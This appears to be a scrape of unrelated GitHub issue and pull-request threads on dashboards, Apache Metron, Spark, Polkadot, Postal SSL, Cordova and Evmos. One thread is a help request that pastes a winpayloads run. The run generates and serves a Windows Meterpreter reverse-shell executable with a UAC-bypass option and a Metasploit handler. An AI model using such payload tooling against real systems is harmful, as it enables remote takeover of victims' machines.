However the pain comes in how to structure multiple of those. At the moment there are a few possibilities:

use such a custom element on top of picture-elements
use such custom elements in a custom card with a fluid distribution like glance card
use such custom elements in a fixed grid (either horizontal + vertical stacks in a panel or a custom grid card)

There is also https://community.home-assistant.io/t/tileboard-new-dashboard-for-homeassistant/57173/833 to consider that can achieve a similar look.

I think the ideal would be the custom element type in a fluid distribution card, that way it would be easy to flow a bunch of elements from a room in to a single card.
Thanks for the link to the tileboard project, that is interesting as well.

I will close this as most custom cards are now moved to https://github.com/custom-cards


run promble....

hi,i have finished .
when i run, it caues
choice:
================================================================================
Main Menu > 2
[] Press Enter For Default Port(4444)
[] Port>
[] Press Enter To Get Local Ip Automatically(<IP_ADDRESS>)
[] IP>
[] IP SET AS <IP_ADDRESS>
[] PORT SET AS 4444
y*] Try UAC Bypass(Only Works For Local Admin Account)? y/[n]:
[] Windows 7 or 10? 7/[10]:7
[] Creating Payload using Pyinstaller...
▗ Ge
[*] Payload.exe Has Been Generated And Is Located Here: /root/winpayloads/Windows_Meterpreter_Reverse_Shell.exe
[*] Upload To Local Websever or (p)sexec? [y]/p/n: y
[*] Serving Payload On http://<IP_ADDRESS>:8000/Windows_Meterpreter_Reverse_Shell.exe
[-] Failed to connect to the database: could not connect to server: Connection refused
Is the server running on host "localhost" (::1) and accepting
TCP/IP connections on port 5432?
............................
.......................
Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with
Metasploit Pro -- learn more on http://rapid7.com/metasploit
   =[ metasploit v4.16.3-dev                          ]

-- --=[ 1677 exploits - 962 auxiliary - 296 post        ]
-- --=[ 495 payloads - 40 encoders - 9 nops             ]
-- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

payload => windows/meterpreter/reverse_tcp
LPORT => 4444
LHOST => <IP_ADDRESS>
autorunscript => multi_console_command -rc uacbypass.rc
ExitOnSession => false
[*] Exploit running as background job 0.
(
[*] Started reverse TCP handler on <IP_ADDRESS>:4444
msf exploit(handler) > ----------------------------------------
Exception happened during processing of request from ('<IP_ADDRESS>', 44532)
Traceback (most recent call last):
File "/usr/lib/python2.7/SocketServer.py", line 290, in _handle_request_noblock
self.process_request(request, client_address)
File "/usr/lib/python2.7/SocketServer.py", line 318, in process_request
self.finish_request(request, client_address)
File "/usr/lib/python2.7/SocketServer.py", line 331, in finish_request
self.RequestHandlerClass(request, client_address, self)
File "/usr/lib/python2.7/SocketServer.py", line 654, in init
self.finish()
File "/usr/lib/python2.7/SocketServer.py", line 713, in finish
self.wfile.close()
File "/usr/lib/python2.7/socket.py", line 283, in close
self.flush()
File "/usr/lib/python2.7/socket.py", line 307, in flush
self._sock.sendall(view[write_offset:write_offset+buffer_size])
error: [Errno 32] 断开的管道
msf exploit(handler) >
,then i dont know the step??
please,my english no no

my os is Linux parrot 4.12.0-parrot6-amd64 #1 SMP Parrot 4.12.6-1parrot6 (2017-08-24) x86_64 GNU/Linux
python --version Python 2.7.13


METRON-1941: Alert Escalation Not Consistent in Alerts UI

Contributor Comments
Link to the original ASF Jira ticket: https://issues.apache.org/jira/browse/METRON-1941
Problem:
The escalation works as long as you initiate it in the alert details sidebar by clicking on the "Escalate" button.
But if you select multiple alerts in the list component and choose "escalate" from the top-right sidebar, it only sends a patch request to the server but calling the escalation endpoint is missing.
Description from the Jira ticket:
If I escalate an alert by opening the alert in the side panel, then clicking "ESCALATE" on the status "cross", the UI issues a patch, following by an escalate request. This seems correct.

If I escalate an alert by selecting one or more alerts in the table, then click on ACTIONs > Escalate, only a patch request is submitted. There does not seem to be a call to escalate.

Testing:
In order to test it whether it works, please, go to the alert list screen, select one or more alerts with the checkbox on the right, then open the drop-down on the top right and choose "Escalate".
In the Network tab, you should see request targeting the escalation endpoint on the server with the list of the selected alerts.
Pull Request Checklist
Thank you for submitting a contribution to Apache Metron.
Please refer to our Development Guidelines for the complete guide to follow for contributions.
Please refer also to our Build Verification Guidelines for complete smoke testing guides.
In order to streamline the review of the contribution we ask you follow these guidelines and ask you to double check the following:
For all changes:

[X] Is there a JIRA ticket associated with this PR? If not one needs to be created at Metron Jira.
[X] Does your PR title start with METRON-XXXX where XXXX is the JIRA number you are trying to resolve? Pay particular attention to the hyphen "-" character.
[X] Has your PR been rebased against the latest commit within the target branch (typically master)?

For code changes:

[X] Have you included steps to reproduce the behavior or problem that is being changed or addressed?

[X] Have you included steps or a guide to how the change may be verified and tested manually?

[X] Have you ensured that the full suite of tests and checks have been executed in the root metron folder via:
mvn -q clean integration-test install && dev-utilities/build-utils/verify_licenses.sh

[ ] Have you written or updated unit tests and or integration tests to verify your changes?

[X] If adding new dependencies to the code, are these dependencies licensed in a way that is compatible for inclusion under ASF 2.0?

[X] Have you verified the basic functionality of the build by building and running locally with Vagrant full-dev environment or the equivalent?

For documentation related changes:

[ ] Have you ensured that format looks appropriate for the output in which it is rendered by building and verifying the site-book? If not then run the following commands and the verify changes via site-book/target/site/index.html:
cd site-book
mvn site

Note:
Please ensure that once the PR is submitted, you check travis-ci for build issues and submit an update to your PR as soon as possible.
It is also recommended that travis-ci is set up for your personal repository such that your branches are built there before submitting a pull request.

Thanks for the fix @ruffle1986 .  Is there a test we can add to validate correctness here?

@nickwallen I tend to agree with @ruffle1986 here. With no unit tests in place, this giant component  requires a lot of mocking before we can even run our first test. Since this is a bug fix to an existing component and not a new feature, I feel it's better to confirm with the manual test steps for now, merge it into master and create a separate ticket for achieving decent test coverage for the entire component.
It's not a unit test, but if it's any consolation, I do have a test for this functionality in the Cypress migration work I'm doing (admittedly, it's commented out because of this bug).

+1 That works.  Glad we have a test ready to go.


[SPARK-12692][BUILD][GRAPHX] Scala style: Fix the style violation (Space before "," or ":")

Fix the style violation (space before , and :).
This PR is a followup for #10643.

Test build #49062 has started for PR 10683 at commit caced69.

Test build #49062 has finished for PR 10683 at commit caced69.

This patch fails MiMa tests.
This patch merges cleanly.
This patch adds no public classes.

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/49062/
Test FAILed.

Merged build finished. Test FAILed.

retest this please.

Test build #49065 has started for PR 10683 at commit caced69.

Test build #49065 has finished for PR 10683 at commit caced69.

This patch fails MiMa tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test FAILed.

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/49065/
Test FAILed.

MiMa said
[error] (streaming-mqtt/*:mimaPreviousClassfiles) sbt.ResolveException: unresolved dependency: org.eclipse.paho#org.eclipse.paho.client.mqttv3;1.0.1: not found

But It's funny. I think the dependency of streaming-mqtt is not related to this change.

retest this please.

LGTM

Test build #2360 has started for PR 10683 at commit caced69.

Merged build finished. Test FAILed.

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/49071/
Test FAILed.

Test build #2360 has finished for PR 10683 at commit caced69.

This patch fails MiMa tests.
This patch merges cleanly.
This patch adds no public classes.

retest this please.

Test build #49075 has started for PR 10683 at commit caced69.

Test build #49075 has finished for PR 10683 at commit caced69.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/49075/
Test PASSed.

I've merged this.


Upgrade dependencies for compatibility with newer polkadot version

Hi, I work at Enjin and we are using polkadot@127eb17a as it's recommended in the cumulus workshop and we wanted to start doing some tests with Snowbridge but that polkadot version turned out to be incompatible, so I worked on the contents of this PR to solve this.
I upgraded the dependencies used in  artemis here using cargo update and mostly followed the changes here to make it work and compile (The comments are taken out from there too).
I made sure that the E2E tests passed(as mentioned in the README.md) but for that I needed to upgrade some dependencies in the types and test directories(The Polkadot types).
I'm opening this PR in the hopes it's of any use to you and luckily we can keep in sync. Let me know if there's anything that needs fixing or if I should point to another branch for merging or anything else.

@conectado awesome thanks for this, we'll review and try merge this week

Thanks @conectado! I've reviewed and it looks mostly good. There are however more changes we need to make to our transfer pallet to make it compatible with the latest XCM API.
I'll create a new branch based off this one, and make the necessary changes.

Thanks @conectado! I've reviewed and it looks mostly good. There are however more changes we need to make to our transfer pallet to make it compatible with the latest XCM API.
I'll create a new branch based off this one, and make the necessary changes.

Thanks!! 🙏

I've forked this branch to #417, and will continue with the necessary XCM updates there.
Thanks so much @conectado, and will make sure to properly attribute you when I merge in #417.


SSL/TLS Supported in Postal?

It seems I have meet several issues with such errors:
SSL_connect returned=1 errno=0 state=error: dh key too small
This is when trying to use custom SMTP server with Zammada helpdesk software.
It fails same with BTCPayServer when using SSL, is there support and proper documentation how this can be achieved?
The main domain post.uhlhosting.ch has already SSL in place, just there is no other settings to explain the SSL on the SMTP side, or maybe I missed something.

Have a look at #943 and #878 and reply again if they don't cover what you're seeing

Im not sure i get this, i need to change freessl to another ssl? I have read these older tickets still does not count to me as documentation for this certain situation it seems.

Unfortunately the way Postal creates keys doesn't create them long enough for newer SSL based software so you have to either downgrade your client software (not ideal) or do something like this https://github.com/postalhq/postal/issues/878#issuecomment-700769804

@willpower232 any plans to add this into a PR maybe?

re reading my past comments, I see this is a ruby 2.3 problem so I don't think this will be changed in the code because it would be easier to host on a newer ruby version now.

So this means I have to upgrade my local ruby?

or change your code, yes

re reading my past comments, I see this is a ruby 2.3 problem so I don't think this will be changed in the code because it would be easier to host on a newer ruby version now.

When you mentioned a newer ruby version I did not knew this will not work with latest ruby version 3.0
Installing dependencies
/opt/postal/.rbenv/versions/3.0.0/lib/ruby/3.0.0/rubygems.rb:281:in `find_spec_for_exe': Could not find 'bundler' (1.17.2) required by your /opt/postal/app/Gemfile.lock. (Gem::GemNotFoundException)
To update to the latest version installed on your system, run `bundle update --bundler`.
To install the missing version, run `gem install bundler:1.17.2`
        from /opt/postal/.rbenv/versions/3.0.0/lib/ruby/3.0.0/rubygems.rb:300:in `activate_bin_path'
        from /opt/postal/.rbenv/versions/3.0.0/bin/bundle:23:in `<main>'
Failed to run: postal bundle /opt/postal/vendor/bundle
postal@post:/etc/ssl$ bundle update --bundler

And this goes on by:
postal@post:~/app$ bundle update --bundler
Fetching gem metadata from https://rubygems.org/............
Fetching https://github.com/mikel/mail.git
minitest-5.14.1 requires ruby version ~> 2.2, which is incompatible with the
current version, ruby 3.0.0p0
postal@post:~/app$

Please advise.

Ah I didn't know there was a 3! I think the latest fully-supported version is 2.6.

Ah I didn't know there was a 3! I think the latest fully-supported version is 2.6.

Can you make sure of that? Before I bump the version again. It is weird, I am now on 2.7 and I got the above errors, while version 3 is not working at all.

A problem occurred while sending the email. Please revise your settings. (Error: Connection could not be established with host post.uhlhosting.ch :stream_socket_client(): SSL operation failed with code 1. OpenSSL Error messages: error:1408F10B:SSL routines:ssl3_get_record:wrong version number)
Got this with ruby 2.7, so this is out of question a fix. I will now try the ruby editing. I still do not get It why this is not fixed on main packages, when clearly the issue is present.

That error seems to be related to a missing or not enough permission for an SSL certificate, have a look at #366
The official dockerfile uses ruby 2.6 so that is the best option for now.

Well I think the issue is somewhere else, first of all these SSL should not go in postfix or such services? Is there a documentation on how to secure the mail server, not the Nginx proxy domain? Aren't a difference between the two. Hence many apps have the ssl on their level, such as mysql server also supports ssl, alto many don't us It does. I think this could be the case or? Because such ssl errors, if were to be on server, Nginx would not allow them unnoticed. Then we need to know if the apps are limited with the free Certs like lets encrypt.

If you have a look specifically at https://github.com/postalhq/postal/issues/366#issuecomment-334193135 then you'll see how a certificate can be configured for the SMTP connection specifically. Postal manages its own SMTP connection without any other software so it is directly responsible for that.

In this case I supposed that is not handled by the Lets encrypt ssl by default unless specified. Why cant it take the same variables from the domain SSL, hence its same domain in our case smtp and web.

smtp_server:
tls_enabled: true
tls_certificate_path: "/opt/postal/certificates/post.uhlhosting.ch/fullchain.$
tls_private_key_path: "/opt/postal/certificates/post.uhlhosting.ch/privkey.pe$
log_connect: true
The certs are in place.
I got this on later on smtp settings, is this correct usage? I think some issue might be here:
smtp:
  host: post.uhlhosting.ch
  port: 25
  username: username
  password: password
  from_name: "Postal"
  from_address<EMAIL_ADDRESS>

The smtp: section is for when Postal needs to send emails itself, i.e. password resets.
You can use the same certificate for web and SMTP but you will have to manually tell both nginx and Postal what the domain name is.
Does the Postal user definitely have access to that directory?

/opt/postal/certificates/ meaning this one? Well its inside postal should have, il double check.


Made changes for publishing to Chrome Web Store

Added a few changes to put this in the Chrome Web Store:

Added 128x128 px icon
Updated version number to 1.0
Shortened the description

Also, would you be able to make a release on Github? That way, we have a version 1.0 milestone and can easily roll back to that if we need to in the future.


fix thread prio (#234)

@MabezDev can you run the third ci again? it was an network error on ci site ....

Perfect, thanks for taking care of this!


Changes are made only to the current configuration (tipically Debug)

I'm using this plugin in order to build a plugin I wrote ( https://bitbucket.org/bugnano/cordova-plugin-networking-multipeer ).
EMBEDDED_CONTENT_CONTAINS_SWIFT is set to YES and LD_RUNPATH_SEARCH_PATHS is set to "@executable_path/Frameworks" only for the Debug configuration.
The problem is that when trying to submit the app to the App Store, it has to be compiled in the Release configuration, and those 2 settings have to be changed manually, as this plugin does not set them correctly (otherwise the app will crash on startup).
I propose to change the settings in all the possible configurations, not just for the current one.

Hello,
I didn't have time to reproduce this issue but it seems to be related to this PR : https://github.com/akofman/cordova-plugin-add-swift-support/pull/11, could you check it and let me know if it's fine with this fixe ?


How does it work for inverse problems with unknown degradations

Thanks for your excellent work. I am wondering how the proposed method works when the inverse problem contains unknown degradation, which means that the matrix H and A cannot be defined such as real haze removal and blind super resolution.

The scope of this work is restricted to Non-blind linear operators. For blind inverse problem solving with diffusion, you may want to check out this paper


telescope: evmos support

This will be a tracking issue on the progress of developing support for transpiling evmos messages.
Context on EVM messages (Thanks to @hanchon for context)
The general idea to convert the cosmos messages to EVM is to get the transaction in Animo format:
https://github.com/evmos/evmos/blob/32e76bd281553e0225d6ff4454db323189847812/ethereum/eip712/encoding.go#L124
(If you already have the transaction in amino format, you can ignore the first step)
Then you use the signdoc bytes to generate the EVM payload, in the evmos code they verify the message before encoding it:
https://github.com/evmos/evmos/blob/32e76bd281553e0225d6ff4454db323189847812/ethereum/eip712/encoding.go#L76
The last step is to wrap the transaction in a EIP712 object:
https://github.com/evmos/evmos/blob/32e76bd281553e0225d6ff4454db323189847812/ethereum/eip712/eip712.go#L11
One of the Evmos developers made a helper in EvmosJS, but it only supports 3 messages and the types structure is not automatically generated:
https://github.com/evmos/evmosjs/blob/main/packages/eip712/src/encoding/decodeAmino.ts#L61
The function that they call to generate the types is:
https://github.com/evmos/evmosjs/blob/main/packages/eip712/src/messages/base.ts#L52
(That one has the types required by the EIP712 format, but is missing the specifics for each message, for example: MsgSend uses:
{
MsgValue: [
{ name: 'from_address', type: 'string' },
{ name: 'to_address', type: 'string' },
{ name: 'amount', type: 'TypeAmount[]' },
],
TypeAmount: [
{ name: 'denom', type: 'string' },
{ name: 'amount', type: 'string' },
],
}
)
IMPORTANT: the values must be in the correct order, because the array is hashed to generate the payload that needs to be signed!
The complex part is to get the EIP712 types right automatically.
Then the actual transactions values (that are also included in the EIP712 transaction), are just the json amino encoded values:
https://github.com/evmos/evmosjs/blob/main/packages/eip712/src/messages/bank/send.ts#L12

Can I work on this ?

Got ya 🔥

https://github.com/hoangdv2429/Cosmos-grcp-playground/tree/feat/evmos_ibc_transfer this one is working using keplr signing style.

this create signDoc, if we intend to sign it metamask EIP712 style then

wrap signDoc to EIP712 obj
signEIP712 instead of signDirect

https://github.com/cosmos/cosmjs/pull/1107/files this PR have code that handle ethAccount type as a reference.

multiple messages https://github.com/evmos/evmosjs/blob/e47e44b1683ffa57737cee2f6abbd138436d9fc3/packages/proto/src/transaction/transaction.ts#L192